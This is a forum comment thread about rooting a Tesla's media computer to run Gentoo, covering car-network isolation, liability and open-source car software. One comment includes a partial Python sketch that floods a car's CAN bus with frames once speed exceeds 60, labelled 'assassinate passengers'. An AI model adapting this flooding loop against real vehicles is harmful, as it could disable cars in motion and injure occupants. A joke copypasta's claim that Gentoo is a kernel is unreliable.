I'm all for rooting my phones, media devices, gaming consoles...but I think I'd stop short of rooting my car. I think back to the Toyota electronic throttle control system bugs--we can hardly trust manufacturers to develop robust automotive software on their own, long before rooting and customization are thrown into the mix. The media system modded in this post _should_ be completely separate from the "brains" of the car, but that's still not a risk I would take.
If I recall correctly the part of the system this is running on is independant from anything important and only does media controls. It also speaks to the rest of the car over a network interface.
There have actually been a ton of examples over the years of researchers hacking into car systems wirelessly, some of which used the media system as the attack vector.
Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being used to gain access to other components.
>Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being used to gain access to other components.
I don't think anyone was claiming anything contrary to that, just that replacing the software running the media dash isn't going to fubar your car.
I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN.
And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, via a small program running in that chroot.
Eg: In Python
from canard import can
from canard.file import jsondb
from canard.hw import socketcan
# create and start device
dev = socketcan.SocketCanDev("/dev/can0")
dev.start()
# create our DoS frame
frame = can.Frame(id=0)
frame.dlc = 8
# load tesla can spec, eg: from [4]
# CAN3, ID 0x0256
b = parser.parse('tesla.json')
while True:
rec = dev.recv()
speedo = b.parse_frame(rec)
# assassinate passengers
if (speedo.speed > 60):
while True:
dev.send(frame)
Sensible cars have a device bridging high and low security networks, forwarding data from one to the other, specifically so that a misbehaving media device or light system can't clobber the brakes or ECU. No idea if the Tesla does this or not, but it's a fairly standard approach.
Yes, it has a gateway between the high level stuff and the low level stuff. It's fairly secure too. You can't just make calls to the can bus all willy-nilly either.
It's a completely different computer—compare it to your typical web browser/web server model. The media computer can request display the battery information (the browser can get a list of products) but it cannot hit the accelerator (the browser cannot read other users' personal information). Even if you have root on the media center (your laptop), that doesn't make it so you can run any and all commands on the computer that regulates steering and acceleration (the web server).
there is a gateway between the media center canbus and the critical canbus. the gateway buffers all the data from the critical canbus and rate limits any requests for data which isn't broadcast regularly on the critical canbus.
You would have to get UID=0 on the canbus gateway to make requests 'willy nilly' on the critical canbus. Having UID=0 on the media centre would only help in making willy nilly requests to the gateway.
The chrysler was a completely different system, but it was indeed infecting the car from the radio / entertainment system. The tesla is completely different from that. They have one entire computer system that runs the "entertainment console". You can even reboot it while you are driving and nothing happens (this is by design of course). The driving controls are totally separated. The only thing you notice when you reboot that console if that the radio goes off, the display goes black during the reboot (10 seconds). Then it comes back and all is well. Press both turning cylinder controls on the steering wheel for a few seconds to start the reboot. They designed it very well. That doesn't mean it is perfect, but they have approached security correctly as far as I can tell from outside. They pay for exploits too - see https://bugcrowd.com/tesla. They have hired security researchers to work on their system and attack it.
As a tesla owner, I do wish they would hurry up and publish their app platform. They do have apps that they wrote themselves, that come with the car.
And I really wish they'd update their web browser, and even more wish they supported linux. Maybe the chromebook os support will be secure enough for android apps that even tesla could use it.
In effect, the manufacturer can only deny warranty claims for a specific part iff the consumer's aftermarket repair/modifications were responsible for the warrantied part failing. i.e. "I tinted the windows, and now the brakes are failing" does not result in warranty claims on the brakes being denied. However, "I replaced the brake pads [with faulty pads], and now the brake rotors are failing" can result in a denied warranty claim.
While I appreciate the sentiment there, that seems like its ripe for protracted litigation (which will never benefit the consumer).
Plus, in a connected car situation, its going to be very difficult to prove that one thing didn't cause another.
Because you rooted the media control system, your unapproved software had the ability to speak to the brake control system and apply more-than-designed force to the brakes and thereby caused this damage.
Could you be forced into proving a negative?
That said, I think most of these things happen in the context of class action suits. In a class action, its going to be hard to blame or exclude the 1% of the class that has rooted their car.
Not sure why you are being downvoted, you present a valid point.
The trouble is that with mechanical parts it is usually very easy to see connections between elements - not so in digital world. I think the direction the car makers should take is to develop "microservices" with strict APIs, strict access lists and a guardian which double-checks if some requested operation really makes sense. That way if you root a media center you can't mess with the engine from there.
EDIT: I see from other comments that Tesla apparently does something similar. Too bad it's not standardized and open, but at least approach is right...
False dichotomy - I think it should be similar to Kerckhoffs's principle in the long run. OSS yes, but it's signed and audited when it's able to run. Maybe like an open source version of microcode updates for CPUs. You could file a pull request because you spotted a bug but you can't fuck around your car (bad, but not so bad) and other cars (very bad).
If the Toyota code would be public we'd hear a lot of guys screaming and if you own the car and have the knowledge I guess you are keen on looking. Sure lots of noise for manufactures and likely new attack vectors but in the end public universities could look at it. On the other hand you'll end up with OpenSSL for cars.
However it should be still safe when public that what should be the design goal. However what you read about embedded stuff in cars and airplanes...OSS would be likely an improvement. I for one would like to file a pull request against the A380 firmware :)
Does the fact that most of the code in your car is autogenerated from tools like Modelica change your view on how likely this can/should be opened?
That is, the 'model' is the truth and the IP. The generated code is spaghetti, the vendors components are black boxes, and their 'code' is nothing more than another locked subsystem in the model.
Let's say in an ideal world, these mission critical systems must be opened - what do you propose everyone's business model should be? If everyone must see each others models... where is the free market competitive advantage to be gained?
I imagine the ideal solution would be using two airgapped computers, one for the main car system, one for the media stuff, and then keep the servers from which they receive updates, and the authorization for those servers completely separated as well, with the updates done by different people, too.
But I imagine the vast majority of car makers don't do anything close to that, and probably not even Tesla does it like that. BMW wasn't even sending its OTA updates over HTTPS until 2 years ago.
I imagine most right now, if they even isolate the media and the main systems at all, probably do it through virtualization to "cut costs", so they don't even use two different chips. Heck, they may even use "containers" to cut costs even further.
And this is why I won't be a self-driving car beta tester in the first 10 years. You just can't trust these guys when up until now they didn't even have a clue about software security, to do this properly. And it's probably why "Silicon Valley car makers" will end up winning over the traditional car makers eventually, too.
It's incredibly complicated, but pretty secure. The CAN bus is isolated from the network. I have root access on the CID and the IC (both separate tegra systems). You can even reboot the CID while you're driving and you only lose media and air conditioning and such. Accessing the CAN bus requires going through a pretty secure gateway system, so you can only basically make requests. Even then, I haven't even really looked into that area much.
It's a chroot'd environment. Yeah, you could theoretically crash the underlying kernel, but doing so would probably be pretty difficult. You'd have to give that environment access to things that can crash the kernel on purpose.
exactly WHY I'll wait for it to mature first, if at all...
The only software I actually can trust my life with are the ones used by NASA, if any of the car company abide / follows NASA's guidelines, they would already use that as part of the PR
Yep. Jeep Cherokee was hacked by connecting to multimedia system which supposed to be separate from driving system, yet our wasn't a problem.
All they had to was reprogram one of controllers and full access was granted.
Even if you don't reprogram controllers you don't have guarantee that some components won't go high wire when your modded version dies something different.
The best approach would be if manufacturers would provide an air gap, but they probably won't, to save costs.
If you read, he's running in a chroot within the TelsaOS (which I'm guessing controls a lot of the sensor in/outs for displays and can't really be removed).
So it's like running an X server and external display on your Android in a chroot, so it looks like you're running Ubuntu and Android.
I'm sure everyone is aware of the fact that all kinds of potential quality-of-service crosstalk/resource utilization issues are not prevented by a chroot.
I wonder what happens when you get into a bad crash, somebody decides to sue, and it comes out that your car was running modified software. Would you be exposing yourself to any liability?
Massad Ayoob recommends against [0] using a defensive firearm with, say, a modified trigger due to potential liability. [1] This situation seems similar.
Say you installed a media player. Now you'll have to convince a jury that you didn't install a media player just so you could watch videos while driving, and therefore were distracted at the time.
Most in-dash sat/nav units aren't allowed to play any video in most states. You can bypass/disable it, but that can run you into liability issues.
I had a SatNav where an "unable to detect park gear" warning always showed up (I had a stick shift, so it the wires were connected to the hand-break). The guy at the shop couldn't figure out why it was shorting so he just disabled it and said, "Don't watch DVDs while driving."
You know I never did use the DVD player in there ever, not even while parked, in the 5 years I had it.
This always comes up in these threads, but I don't understand how it would be any different from millions of cars running around with modified engines, suspensions, brakes, non-OEM tires and wheels. If it can be shown that your modification contributed to the accident, then liability will be apportioned accordingly. Usually it can't.
But software is much more complicated. If I put aftermarket suspension in, it's pretty unlikely that it will significantly screw up my brakes. But with software, it's a lot harder to say what affects what, especially considering how many cars have a single computer that handles both critical and non-critical tasks. A media player mod could very well screw up the brakes by hogging system resources or crashing the computer. If my insurance refuses to pay out after a crash on account of that, do I have to prove my mods to be safe?
NB: I have almost no idea how liability and insurance works in the US.
Aren't you already liable for all damage in an at fault accident? If you modified it yourself, I'm not sure there's any blame that can be shifted around.
It is an interesting question. A while a go, 2 guys made a presentation at DEFCON with a presentation about their findings on hacking a Tesla Model S.
They were able to successfully get root access to the car's system (not chroot, real full root access) and with that they were able to fully access to the car's API within Tesla OS. They even showed a video about one of the guys driving the car at low speed and the other one remotely accessing to the car's Linux shell by SSH and shutting down the whole car while the first guy was riding.
The interesting thing is that for higher speeds, for example more than 50 km/h, the car seems to override any of the Linux systems and the root access becomes useless, it stops working.
In another words, the car is able to decouple itself from the Tesla OS.
While it is very reassuring that the car is able, the speedpoint chosen by Tesla – 50kmph — is not. I'd rather a car not be remote-controllable at anything more than a slow crawl, and 50kmph is quite capable of making such a heavy car dangerous.
I'm not sure what are the exact conditions for the Tesla OS to be overridden by other internal systems, 50 km/h was just a placeholder value for "lower speeds".
It should. In a world where people routinely talk/text/drink and drive I don't think we should expect 100% from electric or self-driving cars.
I cringe from the PR implications as I say this but really I fully supported Jeb! when he shrugged about one of the shootings. If we want freedom, we will have some missteps. I kind of wish we could say the same about religious extremists but that ship was always under command of the same bigots who controlled the conversation during the red scare.
Preemptive multitasking means that infinite loops in userland software do not lock the CPU. Everything that anyone would cal an app is run on a system that does preemptive multitasking, so it is not a problem. Presumably, the dashboard console computer is separate from the many other computers in the car for reliability purposes. If it is not, Telsa Motors would have really messed up.
I have never driven while running any of my stuff. Also, this is the CID, it doesn't control those things. You can even reboot the CID while you're driving.
The safety-critical stuff is not running on that computer. So the brakes still work, and the airbags deploy, for sure. I'd be very surprised if the autopilot is on there.
Again, this entertainment system that she hacked is completely separate from the driving system. You can literally reboot it while you are driving down the road. The screen goes black during reboot, the radio goes off, then it comes back in 10 seconds or so. I think maybe in the 4 years I've owned it once or twice it rebooted itself.
I'd hope so, since apparently the computer that's being hacked here occasionally crashes and restarts in normal operation with the official unmodified Tesla firmware.
You know some people mod the engine on their car, right? Or swap the transmission? Changing the software is hardly the most significant modification owners do to their cars, at least for non-self-driving cars ;)
The code was (probably typical) contractor spaghetti code, with plenty of potential bugs. But, no conclusive reproduction steps were ever found - much less any that would cause it to continue acceleration with the brakes on, transmission disengaged, or key off.
That picture of the ETCS board has just reminded me of a time my friend gave me a tour of the Mclaren F1 workshop – he worked on the testing team.
They'd just spent a couple of weeks tracking down an issue where the engine had misfired during one of the races (like, once or twice). Turns out that the tracks on one of the control circuit boards were a tiny bit too close and there had been an arc. I couldn't believe how much work they had put into figuring it out.
Since they are limited to 5 engines per season[0], they were probably very worried that the fault could lead to the loss of an engine. When I did racing, for even the most minor of faults/errors/"that's odd", large amounts of effort were put into correcting the fault if it was on the list of "If this broke, we lost".
Interesting that some believe rooting a car is going "too far", yet building our entire society and financial systems with duct-tape coding and fail-early-fail-often methodologies is okay.
I think when your life is on the line people tend to take it more seriously. Think of techniques like six sigma that rose during the manufacturing of parts for the Apollo program because losing a man was considered (and rightfully so) unacceptable.
There's a lot of Gentoo hate in this thread. I think that's funny when you consider that the most-used Linux distribution on desktop/laptop computers is based on Gentoo. [1]
Google chose engineers for ChromeOS, and those engineers chose Gentoo. CoreOS also uses portage IIRC. Gentoo isn't for everyone, but I think there's probably a correlation between people who have used Gentoo (or similar) at some point in their life and people who know Linux thoroughly.
ChromeOS originally was built upon Ubuntu, but Gentoo made more sense when starting to build for a rather diverse set of hardware, various flavours of ARM etc.
When I was 15 I started my linux days using gentoo, back in 2003/2004.
While the hassle of compiling and all the effort it took is laughable looking back on it, I still credit it for teaching me the command line and unix in general, these are skills I carry though with me to this day.
17 for me, and this is exactly how it is for me. Gentoo taught me Linux, and I have enjoyed it ever since. I use other distros as well, but Gentoo will always hold a special place in my heart.
I would love to buy a car with only FOSS software or at least source available software available inside. In the long run, I think it would be much safer than the status quo and with everything becoming computer-driven.
I've thought about doing something like this with my center nav, but it deals with setting the time on the mirror among other things. Still, I can't get updated maps without paying the dealer a few hundred dollars to put a cd in it. I end up just using openStreetMaps on my rooted phone. This is a sad state of things. It feels like a feature-phone. Hopefully the future is brighter.
Not sure if there is one, though, I have a feeling there is. I've done nothing to make the car be upset, though. My X session is running on tty1 while the car's UI is running on tty2. As long as the car's normal UI system is running everything is happy. If you shut that down, say, starting fluxbox on that X session (this may or may not have happened), the gateway freaks out because it lost contact and forcibly resets the CID. Also, the touchscreen's input doesn't come through X, the QT apps read it directly. Every now and then I have to just tap the corner of my screen while I'm working, even when I'm in my own environment, because when you are parked and sitting there the touchscreen will turn off after 30 minutes. I'll figure out a way around this eventually.
I recall a post somewhere where someone claimed that attempts to hack his Tesla resulted in a message about unauthorized access being detected with the threat of his mobile connection being severed if it recurred. My guess that there is a IDS was based on that.
I look forward to the day that I can sit in my car with my friends, smoking something, watching a movie, and letting the self driving vehicle wander around LA while we look for interesting places to stop and explore.
I would never use my couch again.
Edit: If tesla begins making showers I may not even need an apartment.
Really inspiring work. I have always loved working on cars, and the potential to marry that with my profession is exciting.
I'm really looking forward a future where I have ownership and control over my cars operating system to the same degree that I own the engine in my camaro.
Also, I apologize for automatically defaulting to you being a he-dude and not a she-dude.
Indeed it was, I was replying to arcticfox, who I thought overgeneralized (hence my reply).
[Edit] and I now realize that this whole subthread could have been avoided had my original comment lead with "In this case yes, but...", live and learn :P
So is "man". As in, "You totally should have gotten than promotion, man." Or "Man, I really love this pizza." Yes, it's used gender-neutral. But both historically and in common practice it's a noun, verb, interjection or vocative adjunct that most commonly refers to a male.
That aspect, that it was at one time, or still is, gender-specific, is what makes it inappropriate to call a person who doesn't identify with that gender. Like many other words which can apply to more than one kind of person, you have to think about how the listener will interpret it, not how you want them to interpret it.
"That aspect, that it was at one time, or still is, gender-specific, is what makes it inappropriate to call a person who doesn't identify with that gender."
Why do you think you can dictate what _is_ inappropriate for the rest of mankind?
And I don't get to do anything other than dictate my own behavior, and try to express an idea. Sorry if that came off as dictatorial.
What I meant to say was: Anyone who would rather treat someone how they personally want them to be treated, rather than how the other person wishes to be treated, has forgotten The Golden Rule: https://en.wikipedia.org/wiki/Golden_Rule
In terms of human relations in general, and in a very extreme sense, it's the social contract that allows people to co-exist without killing each other. Would you like someone to murder you because you insulted them? If not, it's best to treat people in the same way, that is, not murder them because they insult you. Or, perhaps, just not insult each other, lest you murder each other. But the point is you're caring about how the other person responds to what you do, because that may affect you at some point.
On a purely empathetic level, treating someone how they wish to be treated makes them feel better. That has a lot of benefits, for you and for them. And it basically doesn't cost you anything, other than the extra second it takes to be mindful of how you're treating someone.
And in general people who only think of themselves are selfish dicks. I certainly can't dictate to anyone not to be a dick. But it's in their interest not to be a dick.
The Golden Rule fails to account for masochists, or differing cultures, or basically anything that makes people different from one another.
For example, by the "Golden Rule", I'd want to be called a "dude" if I were a girl, because I consider it a sign of equality.
You can feel free to disagree with that, but if it's how I'd want to be treated, then by the power of the Golden Rule, I should call girls "dudes".
I'd even go so far as to argue that the "Golden Rule" is doing precisely what you just said was bad -- it puts too much focus on you ("how would you want to be treated").
You just used a really obvious example of circular reasoning, a logical fallacy.
You are not every girl on the planet. Some girls don't like being called dude. With those particular girls, if you call them dude, you are being rude. If you want them to be rude right back to you then I guess keep doing what you're doing.
The Golden Rule totally accounts for edge cases. If someone is a masochist, you ask them if they are a masochist, and then you ask them if they want to be treated a certain way. If someone is from a different culture, you can learn about different cultures to [for example] learn which hand to shake hands with, or you can ask if you aren't sure.
If you want to be treated like an asshole, then be an asshole. But the rule is meant to guide you towards not being an asshole. It doesn't put too much focus on you, it puts just enough focus to hopefully prevent you from getting yourself killed by an angry woman who really doesn't like being called "dude", or getting the crap kicked out of you in a country where shaking hands with the wrong hand is a huge offense. Does this make more sense?
How is that circular reasoning? Genuine question, I've always thought the Golden Rule sucked for the reason I outlined. It says nothing about asking how people want to be treated, only that you should treat them how you want to be treated.
You're saying something that isn't what's in the Golden Rule.
Imagine you're traveling the desert thousands of years ago. You come upon a party of nomads. You would like water, and you would like them not to rob you, kill you, and bury you in the sand. It's very important you don't say or do anything to offend them. You want them to treat you with respect and kindness, so you have to treat them as such.
But how do you do that? The rule does not cover that at all. But somehow you figure out how, and they give you water. In gratitude, as an interpretation of the rule, you give them flint to make fire. The nomads, it turns out, will use the flint to make a fire and cauterize a wound that would otherwise have gotten infected.
Sometimes you will be the nomads, and sometimes the traveler. The rule is really just a reminder to think about this situation at all times; it doesn't spell it out for you.
It was circular reasoning because you were saying if A is B (some girls like to be called dude), then B is A (you should call girls dude). You're using the premise to prove itself, like "I breathe air because I can breathe air". It provides no evidence of why this is so, nor account for any extra factors (if A is "some girls like being called dude", there must be a C: the rest of the girls that don't like being called dude. But C is never addressed)
Okay I think you get what I'm saying. The Golden Rule would have gotten you killed in the desert if those nomads find flint to be some kind of sacred metal only their priests can carry or something equally absurd.
I just don't think "treat people with kindness" is what the Golden Rule says. That might be the intent of the people who reference it, but the Golden Rule literally says, "Treat others how you wish to be treated", which makes the assumption that "how you wish to be treated" is universal. I agree, realistically one should treat people how they wish to be treated, but that's not what the Golden Rule says.
My point re: calling girls dudes is that you simply cannot know if a girl does or doesn't want to be called a dude unless they express a preference, which may or may not happen. Some girls like to be called dudes (A), and we should do to others what they like us to do to them (B), therefore we should call those girls dudes (C). (B) is not the Golden Rule as such, because how I'd like to be treated doesn't apply to someone else (see nomad flint worshipers above).
I just want to be clear that what you're saying is not what I have issue with -- yes, we should definitely treat others in the manner in which they'd prefer to be treated. My issue is entirely with the characterization of this as the "Golden Rule". I don't believe that's what the text of the Golden Rule reads as.
And I'm saying, you are not supposed to take it literally. It is supposed to be interpreted. You don't treat them literally the only way you personally want to be treated. It's a call to think of them as the same as you.
Why interpret it as "do what they would want, not what you would want" ? Because at its root it's asking you to have empathy and compassion. You simply can't achieve both those things without putting yourself in their shoes, and then trying to feel and understand the way they do. At that point, when you are them, you act in a way they would want, and it becomes a compassionate act.
When I was saying before that this benefits you in the end, that's true, though there is no actual reciprocity expected in this rule. It really is all about just doing good for another person.
Ask a theologian about it some time. They explain it better.
There is a completely different meaning behind what you're claiming it says and what it actually says. If we can just inject our own meaning into words, they lose purpose.
I interpret the Golden Rule as it is written -- a bad rule, from an intolerant time where everyone was expected to be the same. It never really applied, but now we have the cognitive tools to identify it as bogus.
I'm disappointed to see a comment like this here. To treat 'feminists' as a monolithic bloc, mutually exclusive from meaningful contributors to IT, is insulting to those of us who try to be both.
Women in tech face real challenges, including but not limited to casual condescension towards the people fighting for change.
I'm proud of her too, and I'm sure she's exactly the sort of role model that a feminist would have in mind.
I'm sure that many women in tech have problems, although I view them as equal whenever I work with them. Also I am sorry if I hurt anyone's feelings with my comment. I'm just not sure if it helps the general view on women in tech that I read 4 times as many articles complaining about the problems for women to achieving something technical.
I’d just like to interject for a moment. What you’re refering to as Gentoo, is in fact, GNU/Gentoo, or as I’ve recently taken to calling it, GNU plus Gentoo. Gentoo is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.
Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called “Gentoo”, and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.
There really is a Gentoo, and these people are using it, but it is just a part of the system they use. Gentoo is the kernel: the program in the system that allocates the machine’s resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Gentoo is normally used in combination with the GNU operating system: the whole system is basically GNU with Gentoo added, or GNU/Gentoo. All the so-called “Gentoo” distributions are really distributions of GNU/Gentoo.
Even if this is supposed to be funny (I can't tell, so I think you may have failed if so), I'd like to correct you and say that what makes Gentoo tick doesn't hinge on GNU at all. We can run on different kernels, different libcs, and coreutils are just a package you install. Might be toybox for all Gentoo cares!
As far as I'm concerned, Gentoo is the most underappreciated distro. I'm a Gentoo dev, but that's not why I'm saying so -- the causal relation is reversed!
